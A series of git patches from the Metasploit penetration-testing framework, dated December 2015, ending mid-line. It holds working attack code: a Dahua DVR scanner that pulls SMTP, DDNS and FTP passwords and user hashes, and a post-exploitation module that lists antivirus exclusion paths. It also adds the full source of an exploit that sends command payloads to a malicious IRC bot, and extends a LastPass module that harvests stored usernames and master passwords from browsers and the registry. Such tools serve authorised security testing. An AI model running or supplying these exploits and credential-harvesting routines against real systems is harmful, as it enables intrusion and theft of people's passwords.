b276bdcad8..3baebc1b47 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -103,25 +103,24 @@ class Metasploit3 < Msf::Auxiliary def grab_email connect sock.put(EMAIL) - if data = sock.get_once.split('&&') - print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i - if mailhost = Regexp.last_match[1].split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? - end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" - if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? - end - end + return unless (response = sock.get_once) + data = response.split('&&') + return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i + print_status("Email Settings: @ #{rhost}:#{rport}!") + if mailhost = Regexp.last_match[1].split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" + if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? end end end @@ -129,28 +128,26 @@ class Metasploit3 < Msf::Auxiliary def grab_ddns connect sock.put(DDNS) - if data = sock.get_once - data = data.split(/&&[0-1]&&/) - data.each_with_index do |val, index| - if index > 0 - val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") - print_status(" DDNS Server: #{ddns_server}") - print_status(" DDNS Port: #{ddns_port}") - print_status(" Domain: #{ddns_domain}") - print_good(" Username: #{ddns_user}") - print_good(" Password: #{ddns_pass}") - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - end - end + return unless (response = sock.get_once) + data = response.split(/&&[0-1]&&/) + data.each_with_index do |val, index| + next if index == 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") + print_status(" DDNS Server: #{ddns_server}") + print_status(" DDNS Port: #{ddns_port}") + print_status(" Domain: #{ddns_domain}") + print_good(" Username: #{ddns_user}") + print_good(" Password: #{ddns_pass}") + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end end @@ -158,28 +155,29 @@ class Metasploit3 < Msf::Auxiliary def grab_nas connect sock.put(NAS) - if data = sock.get_once - print_status("Nas Settings @ #{rhost}:#{rport}!:") - server = '' - port = '' - if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ - server = Regexp.last_match[1].unpack('C*').join('.') - port = Regexp.last_match[2].unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") - end - if data =~ /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ + return unless (data = sock.get_once) + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = Regexp.last_match[1].unpack('C*').join('.') + port = Regexp.last_match[2].unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data + ftpuser.strip! + ftppass.strip! + unless ftpuser.blank? || ftppass.blank? print_good(" FTP User: #{ftpuser}") print_good(" FTP Password: #{ftppass}") - if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 - report_creds( - host: server, - port: port, - user: ftpuser, - pass: ftppass, - type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? - end + report_creds( + host: server, + port: port, + user: ftpuser, + pass: ftppass, + type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? end end end @@ -198,40 +196,40 @@ class Metasploit3 < Msf::Auxiliary def grab_users connect sock.put(USERS) - if data = sock.get_once.split('&&') - usercount = 0 - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") - data.each do |val| - usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" - value = pass.split(":") - user = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") - # Write the dahua hash to the database - hash = "#{rhost} #{user}:$dahua$#{md5hash}" - report_hash(rhost, rport, user, hash) - # Write the vulnerability to the database - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'dvr', - name: 'Dahua Authentication Password Hash Exposure', - info: "Obtained password hash for user #{user}: #{md5hash}", - refs: references - ) - end + return unless (response = sock.get_once) + data = response.split('&&') + usercount = 0 + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each do |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" + value = pass.split(":") + user = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{user}:$dahua$#{md5hash}" + report_hash(rhost, rport, user, hash) + # Write the vulnerability to the database + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{user}: #{md5hash}", + refs: references + ) end end def grab_groups connect sock.put(GROUPS) - if data = sock.get_once.split('&&') - print_good("#{peer} -- groups:") - data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } - end + return unless (response = sock.get_once) + data = response.split('&&') + print_good("#{peer} -- groups:") + data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end def reset_user From f8c11b9cd12991d5a4d7cd413cc47e0e3d86ada3 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 3 Dec 2015 17:49:21 -0600 Subject: [PATCH 1415/2172] Move to multi --- .../exploits/{unix/webapp => multi/http}/jira_hipchat_template.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{unix/webapp => multi/http}/jira_hipchat_template.rb (100%) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb similarity index 100% rename from modules/exploits/unix/webapp/jira_hipchat_template.rb rename to modules/exploits/multi/http/jira_hipchat_template.rb From c007fffbce6651cad3a9ffe6c1083c37f73e536b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:55:12 -0800 Subject: [PATCH 1416/2172] Style cleanup --- .../post/windows/gather/enum_av_excluded.rb | 150 +++++++++--------- 1 file changed, 76 insertions(+), 74 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index ce35a74261..136ef61e91 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -7,37 +7,39 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Registry - def initialize(info={}) - super( update_info( info, + def initialize(info = {}) + super( + update_info( + info, 'Name' => 'Windows Antivirus Excluded Locations Enumeration', - 'Description' => %q{ This module will enumerate all excluded directories within supported AV products }, + 'Description' => 'This module will enumerate all excluded directories within supported AV products', 'License' => MSF_LICENSE, 'Author' => [ 'Andrew Smith'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] - )) - + ) + ) end def enum_mssec if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Microsoft Antimalware") - print_status "MS Security Essentials Identified" - return true + print_status "MS Security Essentials Identified" + return true else - return false + return false end rescue return false end + def enum_defender if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Windows Defender") - print_status "Windows Defender Identified" - return true + print_status "Windows Defender Identified" + return true else - return false + return false end rescue return false @@ -45,89 +47,89 @@ class Metasploit3 < Msf::Post def enum_sep if registry_enumkeys("HKLM\\SOFTWARE\\Symantec").include?("Symantec Endpoint Protection") - print_status "SEP Identified" - return true + print_status "SEP Identified" + return true else - return false + return false end rescue return false end + def excluded_sep print_status "Excluded Locations:" keyadm = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Admin" - keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" - found_keysadm = registry_enumkeys(keyadm) - if found_keysadm - found_keysadm.each do |vals| - full = keyadm + "\\" + vals - values = registry_getvaldata(full, "DirectoryName") - print_good "#{values}" - end - else - print_error "No Admin Locations Found" - end - found_keyscli = registry_enumkeys(keycli) - if found_keyscli - found_keyscli.each do |vals| - full = keycli + "\\" + vals - values = registry_getvaldata(full, "DirectoryName") - print_good "#{values}" - end - else - print_error "No Client Locations Found" - end - end - def excluded_mssec - print_status "Excluded Locations:" - keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" - found = registry_enumvals(keyms) - if found - found.each do |num| - print_good "#{num}" - end + if (found_keysadm = registry_enumkeys(keyadm)) + found_keysadm.each do |vals| + full = keyadm + "\\" + vals + values = registry_getvaldata(full, "DirectoryName") + print_good "#{values}" + end else - print_error "No Excluded Locations Found" + print_error "No Admin Locations Found" + end + + keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" + if (found_keyscli = registry_enumkeys(keycli)) + found_keyscli.each do |vals| + full = keycli + "\\" + vals + values = registry_getvaldata(full, "DirectoryName") + print_good "#{values}" + end + else + print_error "No Client Locations Found" end end + + def excluded_mssec + print_status "Excluded Locations:" + keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" + if (found = registry_enumvals(keyms)) + found.each do |num| + print_good "#{num}" + end + else + print_error "No Excluded Locations Found" + end + end + def excluded_defender print_status "Excluded Locations:" - keyms = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\" - found = registry_enumvals(keyms) - if found - found.each do |num| - print_good "#{num}" - end + keyms = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\" + if (found = registry_enumvals(keyms)) + found.each do |num| + print_good "#{num}" + end else - print_error "No Excluded Locations Found" + print_error "No Excluded Locations Found" end end def run arch2 = sysinfo['Architecture'] if arch2 =~ /WOW64/ - print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" - return + print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" + return else - print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") - if enum_sep - excluded_sep - else - nosep = true - end - if enum_mssec - excluded_mssec - else - nomssec = true - end - if enum_defender - excluded_defender - else - nodefend = true - end - if nomssec and nodefend and nosep == true - print_error "No supported AV identified" - end + print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") + if enum_sep + excluded_sep + else + nosep = true + end + if enum_mssec + excluded_mssec + else + nomssec = true + end + if enum_defender + excluded_defender + else + nodefend = true + end + if nomssec && nodefend && nosep + print_error "No supported AV identified" + end end end end From 28ee056c32248919be31eb71e3bbe29bd202c527 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 16:07:49 -0800 Subject: [PATCH 1417/2172] Make enumeration of each individual AV optional --- .../post/windows/gather/enum_av_excluded.rb | 65 +++++++++++-------- 1 file changed, 39 insertions(+), 26 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 136ef61e91..79fe5df0ab 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -16,11 +16,22 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Antivirus Excluded Locations Enumeration', 'Description' => 'This module will enumerate all excluded directories within supported AV products', 'License' => MSF_LICENSE, - 'Author' => [ 'Andrew Smith'], + 'Author' => [ + 'Andrew Smith', # original metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] ) ) + + register_options( + [ + OptBool.new('DEFENDER', [true, 'Enumerate exclusions for Microsoft Defener', true]), + OptBool.new('ESSENTIALS', [true, 'Enumerate exclusions for Microsoft Security Essentials', true]), + OptBool.new('SEP', [true, 'Enumerate exclusions for Symantec Endpoint Protection (SEP)', true]) + ] + ) end def enum_mssec @@ -105,31 +116,33 @@ class Metasploit3 < Msf::Post end end - def run - arch2 = sysinfo['Architecture'] - if arch2 =~ /WOW64/ - print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" - return - else - print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") - if enum_sep - excluded_sep - else - nosep = true - end - if enum_mssec - excluded_mssec - else - nomssec = true - end - if enum_defender - excluded_defender - else - nodefend = true - end - if nomssec && nodefend && nosep - print_error "No supported AV identified" - end + def setup + unless datastore['DEFENDER'] || datastore['ESSENTIALS'] || datastore['SEP'] + fail_with(Failure::BadConfig, 'Must set one or more of DEFENDER, ESSENTIALS or SEP to true') end end + + def run + if sysinfo['Architecture'] =~ /WOW64/ + print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" + return + end + + print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") + found = false + if datastore['DEFENDER'] && enum_defender + found = true + excluded_defender + end + if datastore['ESSENTIALS'] && enum_mssec + found = true + excluded_mssec + end + if datastore['SEP'] && enum_sep + found = true + excluded_sep + end + + print_error "No supported AV identified" unless found + end end From a972b3382592cd9ea709a75a7d3d883133c4f371 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Dec 2015 20:00:37 -0600 Subject: [PATCH 1418/2172] Fix typo --- modules/exploits/multi/http/jira_hipchat_template.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb index 49870cd656..924d348356 100644 --- a/modules/exploits/multi/http/jira_hipchat_template.rb +++ b/modules/exploits/multi/http/jira_hipchat_template.rb @@ -359,7 +359,7 @@ class Metasploit3 < Msf::Exploit::Remote # @param war_path [String] The jar file to execute # @return [String] def get_jar_exec_code(java_path, war_path) - # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. + # A quick way to check platform instead of actually grabbing os.name in Java system properties. if /^\/[[:print:]]+/ === war_path normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java') cmd_str = %Q|#{normalized_java_path} -jar #{war_path}| From 4e43a901872580f4bb76e661b481f3b8edf97981 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 4 Dec 2015 10:40:37 +0800 Subject: [PATCH 1419/2172] Add Xdh / fBot IRC Bot Remote Code Execution --- modules/exploits/multi/misc/xdh_x_exec.rb | 168 ++++++++++++++++++++++ 1 file changed, 168 insertions(+) create mode 100644 modules/exploits/multi/misc/xdh_x_exec.rb diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb new file mode 100644 index 0000000000..656f048f70 --- /dev/null +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xdh / fBot IRC Bot Remote Code Execution', + 'Description' => %q{ + This module allows remote command execution on an IRC Bot developed by xdh. + This perl bot was caught by Conor Patrick with his shellshock honeypot server + and is categorized by Markus Zanke as an fBot. + + The bot answers only based on the servername and nickname in the IRC message + which is configured on the perl script thus you need to be an operator on the IRC + network to spoof it and in order to exploit this bot or have at least the same ip + to the config. + }, + 'Author' => + [ + #malwaremustdie + 'Jay Turla', # msf + 'Conor Patrick' # initial discovery and botnet analysis + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], + [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is + ], + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Targets' => + [ + [ 'xdh Botnet', { } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 04 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(6667), + OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), + OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name + OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) + ], self.class) + end + + def check + connect + + res = register(sock) + if res =~ /463/ || res =~ /464/ + vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return Exploit::CheckCode::Unknown + end + + res = join(sock) + if !res =~ /353/ && !res =~ /366/ + vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return Exploit::CheckCode::Unknown + end + + quit(sock) + disconnect + + if res =~ /auth/ && res =~ /logged in/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def send_msg(sock, data) + sock.put(data) + data = "" + begin + read_data = sock.get_once(-1, 1) + while !read_data.nil? + data << read_data + read_data = sock.get_once(-1, 1) + end + rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + data + end + + def register(sock) + msg = "" + + if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? + msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" + end + + if datastore['NICK'].length > 9 + nick = rand_text_alpha(9) + print_error("The nick is longer than 9 characters, using #{nick}") + else + nick = datastore['NICK'] + end + + msg << "NICK #{nick}\r\n" + msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" + + send_msg(sock,msg) + end + + def join(sock) + join_msg = "JOIN #{datastore['CHANNEL']}\r\n" + send_msg(sock, join_msg) + end + + def xdh_command(sock) + encoded = payload.encoded + command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n" + send_msg(sock, command_msg) + end + + def quit(sock) + quit_msg = "QUIT :bye bye\r\n" + sock.put(quit_msg) + end + + def exploit + connect + + print_status("#{rhost}:#{rport} - Registering with the IRC Server...") + res = register(sock) + if res =~ /463/ || res =~ /464/ + print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + return + end + + print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") + res = join(sock) + if !res =~ /353/ && !res =~ /366/ + print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + return + end + + print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") + xdh_command(sock) + + quit(sock) + disconnect + end + +end From 495535701514a697a13a529afe2d16db27cd3c98 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 4 Dec 2015 11:06:06 +0800 Subject: [PATCH 1420/2172] Update xdh_x_exec.rb --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 656f048f70..f6936a3a26 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote }, 'Author' => [ - #malwaremustdie + #MalwareMustDie 'Jay Turla', # msf 'Conor Patrick' # initial discovery and botnet analysis ], From f52e6ce65cb55df2aad639e89223eee52ea839da Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 4 Dec 2015 11:17:16 +0800 Subject: [PATCH 1421/2172] Update xdh_x_exec.rb --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index f6936a3a26..85b4f063ea 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -17,7 +17,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server - and is categorized by Markus Zanke as an fBot. + and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS-Bots). The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC From faac44f2570c01af9eb5dbdac8531971877b5e2c Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 4 Dec 2015 12:39:19 +0800 Subject: [PATCH 1422/2172] Update xdh_x_exec.rb --- modules/exploits/multi/misc/xdh_x_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/xdh_x_exec.rb b/modules/exploits/multi/misc/xdh_x_exec.rb index 85b4f063ea..2eaca9b290 100644 --- a/modules/exploits/multi/misc/xdh_x_exec.rb +++ b/modules/exploits/multi/misc/xdh_x_exec.rb @@ -17,7 +17,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server - and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS-Bots). + and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC From b4ade1989a5172690bedf55319e528dbf0c72fd6 Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Fri, 4 Dec 2015 00:13:42 -0800 Subject: [PATCH 1423/2172] Add IE support for stored passwords --- modules/post/multi/gather/lastpass_creds.rb | 192 +++++++++++--------- 1 file changed, 109 insertions(+), 83 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 96a4981498..3793f204b2 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'base64' require 'sqlite3' require 'uri' +require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File @@ -68,13 +69,14 @@ class Metasploit3 < Msf::Post account = user_profile['UserName'] browser_path_map = {} localstorage_path_map = {} + cookies_path_map = {} case platform when /win/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", - 'IE' => "HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\LastPass", + 'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } @@ -87,8 +89,9 @@ class Metasploit3 < Msf::Post } cookies_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies", - 'Firefox' => "", - 'Opera' => "", + 'Firefox' => "", # It's set programmatically + 'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies", 'Safari' => "" } when /unix|linux/ @@ -122,7 +125,7 @@ class Metasploit3 < Msf::Post 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } cookies_path_map = { #TODO - 'Chrome' => "", + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies", 'Firefox' => "", 'Opera' => "", 'Safari' => "" @@ -161,16 +164,21 @@ class Metasploit3 < Msf::Post vprint_status "Checking #{account}'s #{browser}" if browser == "IE" # Special case for IE - ## Check the Registry to see if there are any accounts. if not return empty array "paths" + root_key, base_key = session.sys.registry.splitkey('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass') + reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + return [] if not reg_key + reg_value = reg_key.query_value("LoginUsers") + return [] if not reg_value + paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !reg_value.data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access) + reg_key.close elsif browser == "Firefox" # Special case for Firefox - profiles = firefox_profile_files(path, browser) - paths |= profiles + paths |= firefox_profile_files(path, browser) else paths |= file_paths(path, browser, account) end vprint_good "Found #{paths.size} #{browser} databases for #{account}" - paths + return paths.size > 0 ? paths.first : [] end # Returns the relevant information from user profiles @@ -242,7 +250,7 @@ class Metasploit3 < Msf::Post files = session.shell_command("ls \"#{path}\"").split else print_error "Session type not recognized: #{session.type}" - return found_dbs_paths + return [] end files.reject! { |file| %w(. ..).include?(file) } @@ -251,30 +259,50 @@ class Metasploit3 < Msf::Post end end - found_dbs_paths + [found_dbs_paths] end + + # Parses the Firefox preferences file and returns encoded credentials - def firefox_credentials(prefs_path, localstorage_db_path) + def ie_firefox_credentials(prefs_path, localstorage_db_path) credentials = [] - File.readlines(prefs_path).each do |line| - if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line - usernames = encoded_users.split("|") - usernames.each do |username| - credentials << [username, nil] - end - break + data = nil + + if(prefs_path == nil) # IE + root_key, base_key = session.sys.registry.splitkey('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass') + reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + return [] if not reg_key + reg_value = reg_key.query_value("LoginUsers") + return [] if not reg_value + usernames = reg_value.data.split("|") + usernames.each do |username| + credentials << [username, nil] end + + # Extract master passwords + reg_value = reg_key.query_value("LoginPws") + data = Base64.encode64(reg_value.data) if reg_value + reg_key.close + else # Firefox + loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file") + return [] if !loot_path + File.readlines(loot_path).each do |line| + if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line + usernames = encoded_users.split("|") + usernames.each do |username| + credentials << [username, nil] + end + break + end + end + + # Extract master passwords + path = localstorage_db_path + client.fs.file.separator + 